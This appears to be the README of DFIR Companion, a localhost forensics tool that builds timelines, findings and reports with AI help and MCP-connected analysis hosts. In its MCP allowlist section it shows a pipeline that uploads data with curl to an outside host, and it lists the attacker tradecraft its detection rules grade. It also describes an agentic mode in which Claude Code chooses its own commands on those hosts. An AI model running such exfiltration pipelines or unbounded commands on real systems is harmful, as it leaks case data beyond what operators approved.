Discover the most used tools by our community.
DFIR forensics companion server + capture extension
AI-assisted DFIR triage — on your machine. Turns investigation screenshots and imported artifacts into a forensic timeline, findings, IOCs, an asset↔IoC graph, and shareable reports; ask the case questions in plain English and collaborate with other investigators.
A localhost digital-forensics / incident-response companion. A browser extension captures screenshots of your investigation (Velociraptor, EDR/SIEM dashboards, Security Onion, Splunk4DFIR, VolWeb, VirusTotal, etc.) as evidence; a local server stores them, runs windowed AI vision analysis into an accumulating per-case investigation state, and serves a live dashboard plus exportable reports.
Everything runs on your machine — the companion binds to 127.0.0.1 only, evidence stays on disk, and the AI provider is yours to choose.
Post-detection analysis layer. DFIR Companion is NOT a detection engine — it ingests verdicts from Velociraptor, Security Onion, Chainsaw, Hayabusa, THOR, Cyber Triage, EDR/SIEM, correlates them into one forensic timeline, and synthesizes findings, attacker path, IOCs, and reports. The value is "so what", not re-deriving alerts.
Demo Case: https://dfir-companion-production.up.railway.app/dashboard?caseId=demo
Hands-on lab: https://killercoda.com/dfir-companion/scenario/killercoda
User Manual: https://hasamba.github.io/DFIR-Companion/manual/
Demo case: GlobalTech Industries — BEC & Ransomware Precursor, May 2026.
A fully pre-populated case you can explore without importing any real evidence — findings, IOCs, MITRE techniques, analyst tags/comments, customer exposure data, and report metadata are all pre-seeded so every dashboard panel has something to show.
Load it in one click — click the Demo case button in the dashboard toolbar. It works with the portable Windows EXE too (no Node or npm required). The button confirms before overwriting if the case already exists.
cd companion && npm run seed-demo # creates case id "demo" npm run seed-demo -- --force # overwrite an existing demo case npm run seed-demo -- --case-id globaltech # use a custom id Then open http://127.0.0.1:4773/dashboard and connect to the case.
AI-generated case summary, minute-by-minute narrative, and attacker-path write-up — from initial access to ransomware deployment.
Analyzed events with severity filters, triage tags, per-row detail links, and import change tracking (new-events banner with expandable diff).
Every event ever imported, before scope/severity filtering — filter, tag, star, and promote rows up into the analyzed forensic timeline; nothing is removed, this is a superset view.
Visual chart of events by asset (Y-axis) and time (X-axis), colored by severity — drag the time axis to filter the forensic timeline to a range.
AI-generated findings with confidence scores, analyst triage tags, and MITRE ATT&CK technique links; tracks what changed since the prior synthesis run.
Events bucketed by MITRE ATT&CK tactic — a categorization, not a confirmed kill-chain stage, derived deterministically with no AI.
Standard DFIR questions auto-answered from the synthesized case (answered / partial / unknown), each with an evidence pointer or a "collect this next" directive.
Actionable remediation checklist auto-derived from findings and recommended next steps; re-synced on each synthesis run while preserving analyst status, assignee, and due dates.
Process trees, lateral movement, and file lineage stitched into one causal attack graph. Derived deterministically from importer-populated fields — no AI, no cost, runs offline.
Who logged on where — accounts and hosts linked from super-timeline logon events, distinguishing successful, failed, and risky (RDP/runas/netonly) logons.
Periodic outbound channels too regular to be human traffic — a hunting lead, not a verdict, with interval, jitter, and event count per candidate.
Indicators (IPs · domains · hashes · files · processes · accounts) enriched against VirusTotal, AbuseIPDB, ThreatFox, and other providers — verdict badges, detection scores, NEW import highlights, and analyst triage labels.
Interactive graph linking victim hosts and accounts to the indicators that touched each, plus a list of known compromised hosts and users.
All importers are deterministic (no AI call), read the artifact's own timestamps, and tag events with the real tool name for cross-source correlation. The same file can be re-imported without duplicating the timeline.
Deterministic tradecraft grading — Windows/Sysmon, ECAR and memory command lines are graded against rules harvested from over 110 real intrusions (The DFIR Report, Huntress): high-confidence tradecraft → High with its ATT&CK technique (Defender disable, recovery inhibition, credential dumping, reverse tunnels, Impacket, RMM/C2, cloud exfil …), dual-use → Medium; pure discovery is tagged but never escalated.
The Companion can point case evidence at MCP servers you run — a SIFT workstation, a REMnux box, a Windows triage baseline service — so evidence is analysed on a machine that has the tooling.
It reaches them only through Claude Code. The Companion is not an MCP client: it holds no server URL, no bearer token, and starts no npx or uvx of its own. Claude Code is already configured with your servers and already holds their credentials, so it does the talking and the Companion asks it to.
There is no fallback. If you run the Companion in Docker, from the AppImage, or from the portable Windows build without Claude Code alongside it, the MCP routes will tell you so and nothing else.
Two consequences worth knowing before you rely on it. Every MCP call goes through a model, so it spends tokens and is not the bit-for-bit deterministic call a direct JSON-RPC request would be — the prompt makes it a transport (one tool, exact arguments, verbatim output) but a model is still in the middle. And because the servers come from Claude Code's own configuration rather than a generated one, Claude Code starts every server it is configured with on each run, not just the one being used; the allowlist bounds what may be called, not what gets launched.
In Settings → Tools, press Refresh from Claude Code to load its server list, then allow one and say what it may do. There is nothing to type but policy — the server names come from Claude Code itself, so a typo cannot leave you with an entry that silently matches nothing.
POST /cases/ /mcp/ /run with { tool, args, targetPath }. Put wherever the tool expects the evidence path — it is replaced with the path on the analysis host after delivery has run, so the argument you write is the argument the tool receives:
{ "tool": "run_command", "args": { "command": ["vol.py", "-f", " ", "pslist"] }, "targetPath": "imports/memory.raw" } targetPath is resolved inside the case directory; anything outside it is refused. For a sample the browser holds and the server has no path to, POST /cases/ /mcp/ /run-upload takes { filename, dataBase64 } instead and stages the bytes inside the case first.
Both return 202 with a job id rather than blocking. A real Volatility run outlives any sensible request timeout, so the run is a background job with progress, a cancel button, and a WebSocket job_changed broadcast. The result flows into the case through the same import chain as every other tool — timeline events, findings and IOCs, with an undo checkpoint — so nothing about reading the result differs from an ordinary import. Structured output is routed to the matching importer; unstructured prose falls through to the generic log path rather than being rejected.
A tool that reports its own failure fails the job instead of being ingested: an error message is a diagnostic, not an artifact, and filing it in the timeline would make it look like evidence.
On by default, and worth leaving on. An MCP server will return reference data as readily as evidence — ask SIFT what tools it has and you get a JSON inventory that is structurally identical to a Volatility table: an array of objects with no timestamps. No detector can tell them apart, so the importers do what they are built to do and extract every path in it as a file indicator. One capability listing is a few dozen IOCs the case never wanted.
With preview on, the run fetches the output and stops. You see the bytes, the size, and the kind it would import as, and choose. Approving ingests exactly the bytes already fetched — it never re-runs the tool, so a twenty-minute Volatility run costs twenty minutes once, and a tool with side effects performs them once. Discarding throws the output away and the case is untouched.
Send preview: true on the run to use it from the API, then GET, POST …/import or DELETE on /cases/ /mcp/preview/ .
Nothing here is a substitute for judgement about what to run, and importing without preview is not dangerous — every MCP import pushes an undo checkpoint, so a run that turns out to be noise is one click from being rolled back.
By default, everything the server offers. That is deliberate: Claude Code already lets you call any tool on any server you configured, so requiring you to re-enumerate them here would have been stricter than your own daily use — and a second place to describe the same server.
Worth knowing what "everything" includes. Some servers expose fine-grained tools — check_service, check_autorun, one per question. Others expose a single command runner that executes whatever you hand it: SIFT's run_command states it can execute "most SIFT-installed tools … including curl, wget, dd, fdisk, and python3", and REMnux's run_tool takes an entire shell pipeline. Using such a server from the Companion means command execution on that host — reasonable on an isolated forensics network, where the analysis boxes are yours and the evidence is already on your LAN, and not reasonable anywhere else.
Two optional lists narrow it when you want that:
Commands are matched by basename, so grep and /usr/bin/grep are one rule. Every stage of a pipeline is checked, not just the first — oledump.py s.doc | curl -T - http://elsewhere needs both oledump.py and curl permitted. A command using shell substitution ($(…), backticks, ${…}) is refused outright, because what it would run cannot be known in advance.
What the command list does not do. It bounds which binaries run, never what a permitted one can do — permitting dd permits writing to any path that server's user can write to; permitting python3 permits arbitrary code. It also keys on well-known parameter names (command, cmd, argv), so a server naming its command parameter something unusual is not caught. It exists to help an operator who wants to narrow their own access, not to contain a server they should not have configured in the first place.
MCP has no file-transfer primitive and a multi-gigabyte memory image cannot travel inside a tool argument, so the file has to already be somewhere the server can open it. This part stays the Companion's job — Claude Code cannot move an image onto an analysis box. Each server picks one of two routes:
remote-path (default) — the evidence is already visible to the analysis host over a shared mount. Set a local prefix and a remote prefix and the path is rewritten (/srv/cases/… → /mnt/dfir/…); leave both empty when the mount is at the same path on both sides. Nothing is copied.
scp — the Companion pushes the file to a staging directory, the tool runs, and the staged copy is deleted afterwards. Configure host, remoteDir, optionally user, port and identityFile.
Either route records a chain-of-custody transferred event naming the destination, so a case file shows that evidence left this machine, when, and to where. A transfer that fails records nothing — the chain never claims a copy that did not happen.
A single tool call cannot follow a thread. "Investigate this dump" wants a loop — run pslist, notice something, pivot to malfind — and that is what agentic mode does: it lets Claude Code drive against the server you allowed, then merges what it reports. This is the primary MCP workflow in the dashboard: write the goal in plain English, select or browse to the evidence, choose the MCP app, and press Investigate. Tool names and JSON arguments are available only under the advanced manual-call section.
POST /cases/ /mcp/agent with { prompt, servers?, targetPath?, preview? }, or POST /cases/ /mcp/agent-upload with { prompt, servers, filename, dataBase64, preview? }.
Read this before allowing a server. In a manual run the Companion controls each call, so every call passes the tool and command allowlists. In agentic mode it is not: claude talks to the servers directly. Only the tool allowlist survives, as --allowed-tools. The command allowlist cannot be enforced. Letting an agent use a command-runner tool therefore grants an autonomous loop the ability to choose its own command lines on that host.
Allowing and enabling an MCP server in Companion is the permission boundary for this mode. The server's tool restriction still applies. A command restriction cannot constrain the autonomous loop; it applies only to advanced manual calls.
What the mode still guarantees: an explicit tool restriction is passed through tool by tool; a blank restriction deliberately permits every tool that server exposes. Project/local settings, CLAUDE.md files and hooks are excluded, and the run is turn-limited. Claude Code's user settings remain enabled because that is where its MCP server connections live.
The agent's reply is schema-validated and stripped of provenance claims before it is merged — everything it saw came from tool output, which is untrusted. It is never asked for a case summary, so a run adds findings, IOCs and events without rewriting your conclusions. Preview works here too, and matters more: an autonomous loop decides for itself what to report.
The investigation is capped at 40 turns. If Claude Code consumes that budget while using tools, Companion resumes the same session once with all tools disabled and asks it to report only from the evidence already collected. This preserves the safety boundary without losing a completed investigation merely because its final JSON would have been the next turn.
There are none to configure here. Bearer tokens, headers and transports all live in Claude Code's own MCP configuration, which is the only place that holds them. The Companion stores a server name, an allowlist and a delivery block — nothing that would let it connect to anything on its own.
One caveat if you go looking: claude mcp list prints each server's full command line, which for an mcp-remote entry includes the bearer token in cleartext. The Companion parses only the name and the health verdict out of that output and never stores, logs or renders the rest — but be careful where you run that command yourself.
52.43-DFIR-Companion/ ├── companion/ Node/TS localhost server (the core). See companion/README.md. ├── extension/ MV3 capture extension (Chrome/Comet + Firefox). See extension/README.md. ├── public/ │ └── dashboard.html Live dashboard, served by the companion at /dashboard. ├── docs/ │ └── superpowers/plans/ The original 4 implementation plans. ├── Dockerfile Single-image build (server + dashboard + add-on); no Ollama/LiteLLM. ├── docker-compose.yml Localhost-only Compose: ./cases volume, add-on → ./addon. └── cases/ Evidence + state output (gitignored). Location set by DFIR_CASES_ROOT. How the pieces fitroot@kitploit:~ Browser (Comet/Chrome) Localhost companion (127.0.0.1:4773) ┌─────────────────────┐ POST ┌───────────────────────────────────────┐ │ DFIR Capture (MV3) │ /captures ──▶ │ ingest → evidence (screenshots+jsonl) │ │ timer + events │ │ │ │ └─────────────────────┘ │ ▼ per-window AI extraction (cheap) │ │ forensic timeline ──▶ synthesis (strong)│ Dashboard / Reports ◀── WS /ws, │ findings, IOCs, MITRE, attacker path, │ GET /cases/:id/state │ key questions, threads │ └─────────────────────┘ └───────────────────────────────────────┘ Two-phase analysis: a cheap vision model reads each screenshot into the forensic timeline; a stronger model does the single holistic synthesis call (findings, MITRE, attacker path, questions). Configure both via .env — see companion/README.md.
Prerequisite: Node.js 22.19 or later (which ships with npm). Check with node --version. Everything below uses npm, so no other runtime is needed. Indexed case storage uses the built-in node:sqlite module, so older Node releases cannot open cases. The portable build bundles a compatible runtime.
git clone https://github.com/hasamba/DFIR-Companion.git cd DFIR-Companion/companion npm install cp .env.example .env # set DFIR_VISION_PROVIDER / MODEL / KEY (or leave AI off) npm run dev # serves http://127.0.0.1:4773 (dashboard at /dashboard) Extension (capture):
Easiest: install directly from the Chrome Web Store. On Firefox 140+, download dfir-capture-extension-firefox-*.zip from the latest release and unzip it.
cd DFIR-Companion/extension npm install npm run build # Chrome/Comet → load extension/dist as an unpacked extension npm run build:firefox # Firefox 140+ → load extension/dist-firefox/manifest.json On Firefox, load it from about:debugging#/runtime/this-firefox → Load Temporary Add-on… and pick the manifest.json file (Chrome asks for the folder; Firefox does not). Firefox drops temporary add-ons on restart, so repeat that each session — there is no AMO listing yet, so the release zip is unsigned and cannot be installed permanently.
What it collects, since a temporary load never asks. Firefox shows its data-collection notice only for a signed add-on installed normally; about:debugging grants everything silently. The extension declares browsing activity (a capture carries the tab's URL and title) and website content (the screenshot, and the rows a Push scrapes). The extension sends it to the companion address you configure and nowhere else; what that companion forwards afterwards — a vision model reads the screenshots, AI synthesis reads the rows, enrichment queries reputation services — is the companion's own configuration. See extension/PRIVACY.md.
The popup only attaches to an existing case — you create cases in the dashboard.
Open http://127.0.0.1:4773/dashboard, click + New case to create your case (it connects automatically). Then in the extension popup pick that case from the Case dropdown (Refresh cases if it isn't listed yet) and Start. Browse your evidence — the dashboard updates live.
Updating an existing checkout? After git pull, re-run npm install in both companion/ and extension/ — new features can add dependencies (e.g. the screenshot OCR redaction added tesseract.js). Then restart npm run dev (server code loads once at startup).
Full configuration, HTTP endpoints, the case-folder layout, and the analysis model are documented in companion/README.md.
Run the whole thing — companion server + dashboard + the browser add-on — in one container. No Ollama or LiteLLM are bundled; for AI you point DFIR_AI_* at any OpenAI-compatible endpoint (a model you host, a remote provider, or an Ollama/LiteLLM you run separately). With AI left unset the container still does full capture and all the deterministic importers.
Prerequisite: Docker with the Compose plugin (docker compose version).
Localhost-only by design: the container binds 0.0.0.0 internally, but Compose publishes the port to 127.0.0.1 on your host — so the dashboard is never exposed on your network.
docker compose pull && docker compose up -d # image: ghcr.io/hasamba/dfir-companion:latest Load the add-on (capture). The container writes the pre-built, unpacked extension to ./addon on first start. In Chrome/Comet open chrome://extensions, enable Developer mode, click Load unpacked, and select ./addon/dist (a packaged dfir-companion-extension.zip is dropped there too).
Install the portable Windows build with Chocolatey — no Node.js required. In an elevated shell:
choco install dfir-companion dfir-companion # → http://127.0.0.1:4773/dashboard choco upgrade dfir-companion pulls the next release; choco uninstall dfir-companion removes the binary and PATH shim. The installer downloads the same portable zip published on the Releases page and verifies its SHA256.
Your data lives in your user profile, not the admin-owned install dir: cases in %LOCALAPPDATA%\DFIR-Companion\cases and config in %LOCALAPPDATA%\DFIR-Companion\.env (seeded from the example; edit it for AI / threat-intel keys — all optional). Uninstall keeps that folder so evidence is never deleted. No firewall rule is created — the server binds 127.0.0.1 only.
The capture extension is bundled on disk at %LOCALAPPDATA%\DFIR-Companion\extension for offline install (handy on air-gapped workstations) — load it via chrome://extensions → Developer mode → Load unpacked → that folder, or install it from the Chrome Web Store once published. It is not auto-installed into the browser.
Not yet on the Chocolatey community repo? Until it's published there, grab the dfir-companion. .nupkg from the release and choco install dfir-companion --source . from its folder. Packaging lives in packaging/chocolatey/.
Download dfir-companion- -x86_64.AppImage from the Releases page, then:
chmod +x dfir-companion-*-x86_64.AppImage ./dfir-companion-*-x86_64.AppImage # → http://127.0.0.1:4773/dashboard No Node required — it bundles the server, dashboard, and image tooling. Your data lives in the directory you run it from: cases/ (evidence + state) and an optional .env (AI / threat-intel config) are created/read next to where you launch the AppImage. Override with DFIR_CASES_ROOT (absolute path) and DFIR_ENV_FILE (absolute path to a config file).
All locations are overridable with DFIR_CASES_ROOT (absolute path).
All companion behavior is configured via env vars (companion/.env or shell). Copy companion/.env.example to start — it has inline comments for every variable.
DFIR_AUTH_MODE=team enables OIDC/local sign-in, secure browser sessions, per-case roles, and case-scoped service identities. Authentication and identity-provider settings are deployment security controls: configure them in .env or a secret store, then restart. See the Team Accounts and Case Roles guide for the complete variable list, HTTPS setup, first-admin bootstrap, role matrix, extension token, and single-writer process model.
The screenshot/vision vars above (DFIR_VISION_PROVIDER / DFIR_VISION_MODEL / DFIR_VISION_KEY / DFIR_VISION_BASE_URL / DFIR_VISION_IMAGE_DETAIL) were renamed from the DFIR_AI_* prefix; the legacy DFIR_AI_PROVIDER / DFIR_AI_MODEL / DFIR_AI_KEY / DFIR_AI_BASE_URL / DFIR_AI_IMAGE_DETAIL names still work as a deprecated fallback (the new name wins when both are set).
Claude Code — uses your logged-in Claude subscription via the claude CLI, no API key; handles vision + text (screenshot extraction and synthesis). Requires the claude CLI installed and claude auth login completed on the host. Consumes your subscription rate limits (heavy extraction can exhaust them); reported cost is API-equivalent, not out-of-pocket. Settings → AI shows a connection status (not installed / not connected / connected) with a one-click Connect action.
The split is vision vs text: DFIR_VISION_MODEL reads screenshots (must be multimodal); the DFIR_AI_SYNTH_* model does all text work — CSV extraction, log triage, synthesis, ask/explain. If unset, text work reuses DFIR_VISION_MODEL.
Codex — set DFIR_AI_SYNTH_PROVIDER=codex (also valid for the velo / second-opinion providers) to run text work through the local OpenAI Codex CLI (codex exec), using your ambient codex auth — codex login or OPENAI_API_KEY, no DFIR_AI_KEY. Codex is text-only (it can't read screenshots), so pair it with a vision provider for extraction; it sends data to OpenAI (non-local). Requires @openai/codex installed. Optional DFIR_AI_CODEX_BIN points at a non-PATH codex. Settings → AI shows a codex connection status (not installed / not connected / connected) with a one-click Connect action.
Recommended: cheap vision model for screenshots, strong reasoning model for text. Don't economise on the text model — a weak one fails log triage silently, returning no events rather than wrong ones (npm run eval:real measures exactly this).
A dedicated model used only to generate Velociraptor VQL hunts (the Suggest Velociraptor hunts / Fleet Hunts features), separate from extraction/synthesis/OCR — many models botch VQL. Also editable in Settings → AI.
Each prompt has two override forms (priority order): DFIR_AI_ _PROMPT (inline text, read at startup) and DFIR_AI_ _PROMPT_FILE (path to file, re-read each call — edit and it applies immediately). npm run prompts:eject writes the built-in defaults as a starting point.
Add a key to enable that provider. All external providers are opt-in per case from the dashboard.
Checks the victim org's own domains/emails against breach databases — never adversary/IOC domains.
Both URL and key are required to enable. The same connection powers Push to DFIR-IRIS and Import from IRIS (pull an existing IRIS case's assets/IOCs/timeline into a case).
URL + user + password all required to enable push. Export to JSONL works without any config.
Token alone enables it. Share the target page/database with the integration. "New page" needs a database or parent page (env default or entered per export); "existing page" updates a page you paste.
Set DFIR_VELOCIRAPTOR_API_CONFIG to enable. Generate the config once with:
velociraptor --config server.config.yaml config api_client --name dfir --role administrator,api api.config.yaml VariableDefaultMeaningDFIR_VELOCIRAPTOR_API_CONFIG—Path to api_client config fileDFIR_VELOCIRAPTOR_BINARYvelociraptorExecutable path (full .exe path on Windows)DFIR_VELOCIRAPTOR_GUI_URL—GUI base URL for deep-linking to launched huntsDFIR_VELOCIRAPTOR_ORGrootOrg for the deep link's ?org_id= (the GUI requires it, before the # fragment)DFIR_VELOCIRAPTOR_TIMEOUT_MS60000Per-query timeout (ms)DFIR_VELOCIRAPTOR_MAX_ROWS1000Max rows returned to the dashboardDFIR_VELOCIRAPTOR_MAX_OUTPUT52428800Hard cap on interactive query output bytes (50 MB)DFIR_VELOCIRAPTOR_COLLECT_MAX_OUTPUT268435456Larger cap for bundle-hunt collection (rows + uploaded JSON; THOR/Hayabusa are big). An artifact/upload over this is skipped (logged), not fatal — the rest still import.DFIR_VELO_HUNT_WAIT_MIN10Default minutes before a triage bundle hunt auto-collects (per-run + per-bundle override; clamped 1–1440)DFIR_VELOCIRAPTOR_UPLOAD_VQL—Advanced: override the VQL that reads a hunt's uploaded text reports (json/jsonl/ndjson/csv/txt/log; version-sensitive; keep the __HUNT_ID__ placeholder)DFIR_VELOCIRAPTOR_FLOW_UPLOAD_VQL—Advanced: override the VQL that reads an externally-pasted single flow's uploaded reports (keep the __CLIENT_ID__/__FLOW_ID__ placeholders)DFIR_HUNT_SUGGEST_MAX8Max number of returned per generation (needs an AI provider, not the Velociraptor API)Triage bundles (Settings → Velociraptor tab): Browse server artifacts lists the server's collectable CLIENT artifacts; assemble + save named bundles (three ship built-in — Best Practice (quick-wins sweep), Super-Timeline Triage (raw host artifacts, routed to the super-timeline only) and Linux Triage — stored globally next to cases/ in bundles/). Every bundle, built-ins included, is editable in place — an edit saves an override; Reset to default discards it. Run one as a hunt from the dashboard's Fleet Collection panel (optionally scoped by include/exclude labels + OS, and a minimum-severity import floor). The collection timeout is a bundle setting (configured in the editor — bump it for slow artifacts like THOR; Velociraptor's default is 600 s) and is applied automatically on every run. Each hunt also carries a relative expiry — how long it keeps scheduling on clients that check in later — chosen from 1 hour / 1 day / 1 week (default 1 hour, vs Velociraptor's own week-long default); it's a per-bundle default set in the editor and overridable per run. Bundles can also carry per-artifact parameters (passed to the hunt's spec) so a heavy artifact emits less at the source — Best Practice ships **Hayabusa pinned to RuleLevel=Critical/High/Medium
Registering a server is a security decision, not just configuration — see Registering an MCP server.
Push new/escalated findings, playbook updates, and investigation milestones to Slack / MS Teams webhooks or SMTP email. There is no enabling env var — channels are created in the dashboard (⚙ Settings → Notifications) and stored next to cases/ in notifications/config.json (gitignored; it holds the webhook URLs + SMTP passwords). The list starts empty (opt-in). Each channel has a severity threshold and per-event toggles (findings / playbook / milestones). Use the Test button to verify a channel end-to-end.
⚠ OPSEC: notifications send case content (finding/task titles) to a third party. Don't enable on a sensitive case unless the destination is trusted.
Slack — create an Incoming Webhook (no manual OAuth scopes; Slack adds incoming-webhook automatically):
One webhook posts to one channel — add another webhook (and another Companion channel) for each extra channel. The URL is a secret (anyone with it can post there), which is why the config file is gitignored and the URL is redacted in API responses. Bot-token scopes like chat:write are not needed — the Companion posts via the incoming webhook, not the Web API.
MS Teams — add an Incoming Webhook connector (or a Power Automate "when a webhook request is received" flow) to a channel and paste its URL (the Companion sends a MessageCard). SMTP email — give the channel a host/port, optional username+password, and from/to; opportunistic STARTTLS + AUTH LOGIN are used when offered. For a quick local test, point it at Mailpit (docker run -p 1025:1025 -p 8025:8025 axllent/mailpit).
Telegram — uses a Bot API token + a chat/channel/group ID:
Already running the war-room bot? Leave the token blank and fill in only the chat ID — the channel reuses DFIR_TELEGRAM_BOT_TOKEN from .env, and the field shows (already set). The token stays in .env alone, so rotating it there rotates this channel too. Type a token here only to send through a different bot; it then overrides the env one for this channel.
A token typed here is stored in notifications/config.json (beside cases/) and is never echoed back to the browser — the dashboard only learns whether one is set, and whether it came from .env.
Notifications push out; this is the way back in. Run the case from the incident channel instead of switching to the dashboard for every question:
/dfir bind IR-2026-014 bind this channel to a case — every later command can omit the id /dfir status events, findings, IOCs, open questions /dfir findings top 5 by severity /dfir finding f3 one finding card /dfir iocs malicious IOCs filtered by verdict (flagged | malicious) /dfir ask what was the initial access vector? grounded AI answer (posted when ready) /dfir synthesize trigger a re-synthesis /dfir hunt T1059.001 note a technique to hunt (deploy it from the dashboard) /dfir unbind clear the binding Each platform turns on when you set its secret:
No tunnel needed — the companion opens the connection outbound:
Or as inbound webhooks, which need a public address:
Telegram needs no tunnel. Create the bot with @BotFather, set two variables, restart, and message it:
DFIR_TELEGRAM_POLL=on DFIR_TELEGRAM_BOT_TOKEN=123456789:AAF... The companion calls Telegram and asks for new commands, so nothing about the machine is reachable from the internet — the same outbound direction the notifier already uses. A bot can't do both: clear any existing webhook with .../deleteWebhook first.
Slack Socket Mode is the same idea: enable Socket Mode on the app, mint an app-level token (xapp-…, scope connections:write), and the companion dials out to Slack — no Request URL.
Webhook mode reaches this companion from the internet via your tunnel or reverse proxy — and that hostname must be in DFIR_ALLOWED_HOSTS, or the DNS-rebinding guard turns the request away before the bot sees it. MS Teams has no outbound option, so it always needs this.
OPSEC — anyone who can post in the channel can pull case content. Password-protected cases are refused over chat entirely (a chat message carries no unlock). Set DFIR_*_ACTION_USERS to keep AI spend, re-synthesis and re-binding to named responders; doing so also confines everyone else to the channel's bound case.
DFIR_VISION_PROVIDER=openrouter DFIR_VISION_MODEL=openai/gpt-4o-mini # cheap extraction (per screenshot) DFIR_VISION_KEY=sk-or-... DFIR_AI_SYNTH_MODEL=google/gemini-2.5-pro # strong synthesis (one call) DFIR_VISION_IMAGE_DETAIL=high npm scripts — full CLI referenceAll run from companion/. Arguments after -- are forwarded to the script.
Start the server (reads .env). Binds 127.0.0.1:4773. Dashboard at /dashboard.
npm run dev npm run buildType-check / compile with tsc. No arguments.
npm run build npm testRun the full vitest suite. No arguments.
npm test npm run verify:ai -- [caseId] [flags]One-call smoke test: sends 3 screenshots from the middle of the case to the configured model and confirms the response parses against the schema. Prints findings, forensic events, and attacker-path preview.
npm run verify:ai npm run verify:ai -- mycase npm run verify:ai -- mycase --provider openrouter --model openai/gpt-4o --key sk-or-... npm run coverage -- [caseId]Reports how many of a case's screenshots were analyzed vs. skipped (duplicates) vs. never touched. Reads only captures.jsonl and the indexed investigation state — no AI calls.
npm run coverage -- test1 npm run coverage -- mycase npm run reanalyze -- [flags]Re-run AI analysis over a case's already-captured screenshots, rebuilding the investigation state. Runs synthesis at the end unless --no-synthesis is passed. Uses your API quota (~1 call per --window screenshots, plus 1 synthesis call).
# Reanalyze unique screenshots, merge into existing state npm run reanalyze -- test1 # Fresh rebuild from empty state npm run reanalyze -- test1 --reset # Include duplicates too (most thorough) npm run reanalyze -- test1 --all --reset # Different window size npm run reanalyze -- test1 --reset --window 3 # Try a different model npm run reanalyze -- test1 --reset --model openai/gpt-4o # Switch provider + model + key for this run npm run reanalyze -- test1 --reset --provider gemini --model gemini-1.5-pro --key AIza... # Two-tier (recommended): cheap extraction, strong synthesis npm run reanalyze -- test1 --reset \ --model openai/gpt-4o-mini \ --synth-model openai/gpt-4o # Cross-provider two-tier npm run reanalyze -- test1 --reset \ --provider openrouter --model openai/gpt-4o-mini --key sk-or-... \ --synth-provider openrouter --synth-model google/gemini-2.5-pro --synth-key sk-or-... # Just rebuild the forensic timeline, skip conclusions npm run reanalyze -- test1 --reset --no-synthesis npm run synthesize -- [flags]One text-only AI call over the full (in-scope) forensic timeline → findings, IOCs, MITRE mapping, attacker path, key questions. Prefers DFIR_AI_SYNTH_* env vars; falls back to the extraction model.
# Use whatever .env says npm run synthesize -- test1 # Re-run conclusions with a stronger model (no re-capture needed) npm run synthesize -- test1 --model openai/gpt-4o # Switch provider for this run npm run synthesize -- test1 --provider gemini --model gemini-1.5-pro --key AIza... npm run clean-timeline -- [--apply]Strip analyst/tool-usage rows (Velociraptor hunts, notebooks, searches, "Response and Monitoring accessed", etc.) from the forensic timeline. No AI calls. Dry-run by default.
# Preview what would be removed npm run clean-timeline -- test1 # Actually save the cleaned timeline npm run clean-timeline -- test1 --apply After cleaning, re-run npm run synthesize -- to refresh conclusions.
# Daily live capture (just start the server and browse) npm run dev # Verify a new model works against your case before committing to it npm run verify:ai -- mycase --model openai/gpt-4o # Check how complete the analysis is npm run coverage -- mycase # Recover a case with weak/empty findings: full rebuild npm run reanalyze -- mycase --reset # Timeline already good — only refresh conclusions npm run synthesize -- mycase # Strip noise from the timeline, then refresh conclusions npm run clean-timeline -- mycase --apply npm run synthesize -- mycase # Two-tier cost-optimised rebuild npm run reanalyze -- mycase --reset \ --model openai/gpt-4o-mini \ --synth-model google/gemini-2.5-pro RoadmapPlanned work and ideas are tracked as GitHub Issues under the enhancement label.
cd companion && npm test # server unit tests cd extension && npm test # extension unit tests CI runs six gates on every pull request — production build, test type-check, lint, format-check, and the file-size and circular-import ratchets. All of them run locally:
cd companion && npm run build && npm run typecheck && npm run lint && npm run format:check && npm run check:size && npm run check:imports && npm test CONTRIBUTING.md explains what each gate is for and what to do when one fails — including the shared test helpers that make most type errors a one-line fix.
DFIR Companion is provided "as is", without warranty of any kind, whether express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, accuracy, and non-infringement.
It is an analysis aid, not an authority. Its output — the forensic timeline, findings, severities, IOCs, attacker-path narrative, reports, and any AI-generated conclusions — may be incomplete, inaccurate, or misleading. In particular, it may overstate results (false positives or inflated severity) or miss incidents, events, or indicators entirely (false negatives). All output must be independently reviewed and verified by a qualified investigator before it is relied upon, acted on, or included in any deliverable.
To the maximum extent permitted by applicable law, the author and contributors accept no liability for any direct, indirect, incidental, consequential, or other damages, or for any decision, action, or omission arising from the use of — or inability to use — this software or its output, including but not limited to overstated results or missed incidents. You use the software at your own risk and remain solely responsible for your investigation, your conclusions, and your compliance with all applicable laws and authorizations.
DFIR Companion is free software, licensed under the GNU Affero General Public License v3.0 (AGPL-3.0-only). See LICENSE for the full text.
In short: you're free to use, study, modify, and share it — but if you distribute a modified version or run a modified version as a network service, you must make your complete source code available to its users under the same license. (This is the DFIR-tooling norm — Velociraptor, MISP, and TheHive are AGPL too.)




